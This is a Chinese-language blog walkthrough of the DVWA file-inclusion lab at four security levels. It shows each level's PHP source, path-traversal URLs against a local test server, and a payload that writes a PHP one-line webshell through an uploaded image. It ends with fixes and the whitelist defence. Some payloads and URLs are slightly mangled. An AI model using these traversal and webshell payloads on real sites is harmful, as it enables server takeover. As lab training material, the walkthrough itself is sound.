DVWA-File Inclusion

File Inclusion

File Inclusion含义
意思是文件包含(漏洞),当服务器allow_url_include选项处于on状态时,通过php的特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,如果没有对文件进行审查,就会导致任意文件读取或者任意命令执行。

PHP中四个文件包含的函数区别如下:
require找不到被包含的文件时会产生致命错误,并停止脚本运行。
include找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once与include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once与require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

文件包含种类:

  • 本地文件包含漏洞
  • 远程文件包含漏洞

在这里插入图片描述

Low File Inclusion Source
在这里插入图片描述

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

分析此处代码,果然low的防御级别十分的低,根本没有对page参数进行任何的过滤。可以直接找到对应的文件路径就可以获取到文件内容。
在这里插入图片描述
此时如果用户点击file1.php、file2.php、file3.php,服务器会包含相应的文件然后返回其结果,但此处不论你的文件是否为php文件,它都以php文件来执行,但如果结果为真,检测到的是php文件,那么将执行结果正常返回,如果非,则原封不动打印出文件内容,所以这就是漏洞所在危害啦。

点击file1.php后,返回结果如下
在这里插入图片描述
点击file2.php后,返回结果如下
在这里插入图片描述
点击file3.php后,返回结果如下
在这里插入图片描述
发现3个页面除了文件的内容不同外,最大的不同就是url中page的参数不同。page的参数分别是file1.php,file2.php,file3.php。我们对此进行利用,尝试修改url中page的值,访问test.php页面,结果显示
在这里插入图片描述
因为页面不存在,此时返回结果为null
读取了服务器的php.ini文件
在这里插入图片描述

; This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen on allow_url_include on

我们可以远程包含上传个文件上去
新建test.txt

<?php	
	phpinfo();
?>

新建test.php

<?php	
	include("1.txt");
?>

我们在构造URL:http://127.0.0.1/vulnerabilities/fi/?/vulnerabilities/fi/?page=…/…/phpinfo.php同样执行成功,表明文件包含不仅可以读取文件还可以执行文件
在这里插入图片描述
Medium File Inclusion Source
在这里插入图片描述
代码增加了str_replace函数,str_replace函数是极其不安全的,因为可以使用双写绕过替换规则对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

这里只对获取的文件作一个简单的文件替换
造URL:http://127.0.0.1/vulnerabilities/fi/?/vulnerabilities/fi/?page=…/…/phpinfo.php同样执行成功
在这里插入图片描述

High File Inclusion Source
在这里插入图片描述

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
获取文件之后,对文件对了一个文件判断,如果文件存在的话,就能访问,如果不存在的话,就返回一个错误的页面。

文件包含漏洞的另一个主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。比如,在记事本中写入下面这段代码,并将之保存成jpg文件。

<?php fwrite(fopen("shell.php","w");'<?php eval($_POST[123]);?>'); ?>

将文件上传到DVWA目录中,文件路径为D:\AppServ\www\dvwa\1.jpg,那么通过文件包含漏洞就可以执行jpg文件中的代码,从而在D:\AppServ\www\dvwa\vulnerabilities\fi目录中生成shell.php文件,而文件内容正是一句话木马。

localhost/dvwa/vulnerabilities/fi/?page=…/…/1.jpg

修复建议:
安全的图片验证类型可以这样写

$uploaded_ext == “jpg” || $uploaded_ext == “JPG” || $uploaded_ext ==
“jpeg” || $uploaded_ext == “JPEG”)

Impossible File Inclusion Source
在这里插入图片描述

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

mpossible级别的代码使用了白名单机制进行防护,page参数必须是“include.php”、“file1.php”、“file2.php”、“file3.php”其中一个,这样子做就彻底杜绝了文件包含漏洞

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 游动-白 设计师:上身试试 返回首页